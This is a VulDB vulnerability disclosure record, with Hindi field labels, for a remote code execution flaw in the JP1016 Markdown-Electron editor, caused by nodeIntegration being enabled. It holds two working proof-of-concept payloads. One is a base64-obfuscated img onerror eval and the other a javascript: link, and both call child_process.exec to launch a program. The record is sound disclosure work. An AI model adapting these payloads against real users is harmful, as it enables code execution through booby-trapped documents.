| शीर्षक | Incorrect electron configuration causes RCE |
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| विवरण | nodeIntegration: true decide Node APIs are enabled in renderer. And Markdown Editor does not filter dangerous operations. When we use this software to open the unknown markdwon file, it may cause Remote code execution (RCE).
EXP
# 0 click
<img src=# onerror='eval(new Buffer(`amF2YXNjcmlwdDpyZXF1aXJlKCdjaGlsZF9wcm9jZXNzJykuZXhlYygnY2FsYycsIChlcnJvciwgc3Rkb3V0LCBzdGRlcnIpPT57YWxlcnQoJ1lvdSB3ZXJlIGhhY2tlZC4nKX0p`, `base64`).toString())'>
# 1 click
<a href="javascript:require('child_process').exec('calc', (error, stdout, stderr)=>{alert('You were hacked.')})">CLICK</a>
For more details, please click the announcement. |
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| स्रोत | ⚠️ https://github.com/JP1016/Markdown-Electron/issues/3 |
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| उपयोगकर्ता | Tom23 (UID 41413) |
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| सबमिशन | 20/02/2023 01:17 PM (4 साल पहले) |
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| संयम | 24/02/2023 09:00 AM (4 days later) |
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| स्थिति | स्वीकृत |
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| VulDB प्रविष्टि | 221738 [JP1016 Markdown-Electron अधिकार वृद्धि] |
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| अंक | 20 |
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